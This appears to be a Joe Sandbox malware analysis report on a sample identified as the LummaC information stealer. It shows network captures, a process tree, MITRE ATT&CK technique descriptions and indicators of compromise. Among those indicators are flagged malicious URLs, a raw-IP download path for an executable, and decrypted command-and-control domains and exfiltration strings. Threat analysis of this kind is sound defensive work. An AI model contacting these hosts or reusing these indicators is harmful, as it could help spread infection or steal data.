2024-11-15 12:18:46 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-15 12:18:47 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:45 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:46 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:46 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 44d511d9-701e-000d-2909-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121845Z-16547b76f7fgvq8chC1DFWhd2w00000001y0000000002dp8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:46 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:46 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:46 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:46 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: d9e69733-b01e-0002-799c-361b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121846Z-164f84587bfpc2cvhC1DFW7gdw0000000130000000007p6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:46 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.7	49874	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:46 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-15 12:18:46 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=188816 Date: Fri, 15 Nov 2024 12:18:46 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-15 12:18:46 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Target ID:	0
Start time:	07:18:07
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x500000
File size:	1'839'616 bytes
MD5 hash:	3B9288C9BA59F75F9DA214B9D6360B73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:19:43
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:19:44
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1892,i,16486464527535265539,12465613375574579712,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	08:19:46
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:19:47
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1908,i,4712510667556483600,4347713893843015663,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://frogmen-smell.sbs/q	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/:	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/Z	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/apiZ	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/m;	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/c	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/U;	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/08	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/kjz	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/((G/(	Avira URL Cloud: Label: malware
Source: https://frogmen-smell.sbs/apib	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe(	Avira URL Cloud: Label: phishing

Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: faintbl0w.sbs
Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 300snails.sbs
Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xc1aimbl0w.sbs
Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thicktoys.sbs
Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1599494121.0000000000501000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Windows Analysis Report
file.exe